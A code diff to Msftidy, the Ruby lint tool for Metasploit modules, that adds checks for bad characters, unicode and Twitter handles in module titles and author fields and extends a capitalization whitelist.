@ -36,8 +36,9 @@ class Msftidy
##
#
# The following two functions only print what you throw at them.
# With an option of displaying the line number.
# The following two functions only print what you throw at them,
# with the option of displying the line number. error() is meant
# for mistakes that might actually break something.
#
##
@ -58,6 +59,70 @@ class Msftidy
#
##
def check_badchars
badchars = %Q|&<=>|
in_super = false
in_author = false
@source.each_line do |line|
#
# Mark our "super" code block
#
if !in_super and line =~ /[\n\t]+super\(/
in_super = true
elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
in_super = false
break
end
#
# While in super() code block
#
if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
# Now we're checking the module titlee
mod_title = $1
mod_title.each_char do |c|
if badchars.include?(c)
error("'#{c}' is a bad character in module title.")
end
end
if not mod_title.ascii_only?
error("Please avoid unicode in module title.")
end
# Since we're looking at the module title, this line clearly cannot be
# the author block, so no point to run more code below.
next
end
#
# Mark our 'Author' block
#
if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/
in_author = true
elsif in_super and in_author and line =~ /\],*\n/
in_author = false
end
#
# While in 'Author' block, check for Twitter handles
#
if in_super and in_author and line =~ /['|"](.+)['|"]/
author_name = $1
if author_name =~ /^@.+$/
error("No Twitter handle, please. Try leaving it in a comment instead.")
end
if not author_name.ascii_only?
error("Please avoid unicode in Author")
end
end
end
end
def check_extname
if File.extname(@name) != '.rb'
error("Module should be a '.rb' file, or it won't load.")
@ -126,7 +191,7 @@ class Msftidy
[words.first, words.last].each do |word|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
next if word =~ /php[A-Z]/
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM inetd wallet.dat}.include? word
warn("Improper capitalization in module title: '#{word}...'")
end
end
@ -234,6 +299,7 @@ end
def run_checks(f_rel)
tidy = Msftidy.new(f_rel)
tidy.check_badchars
tidy.check_extname
tidy.test_old_rubies(f_rel)
tidy.check_ranking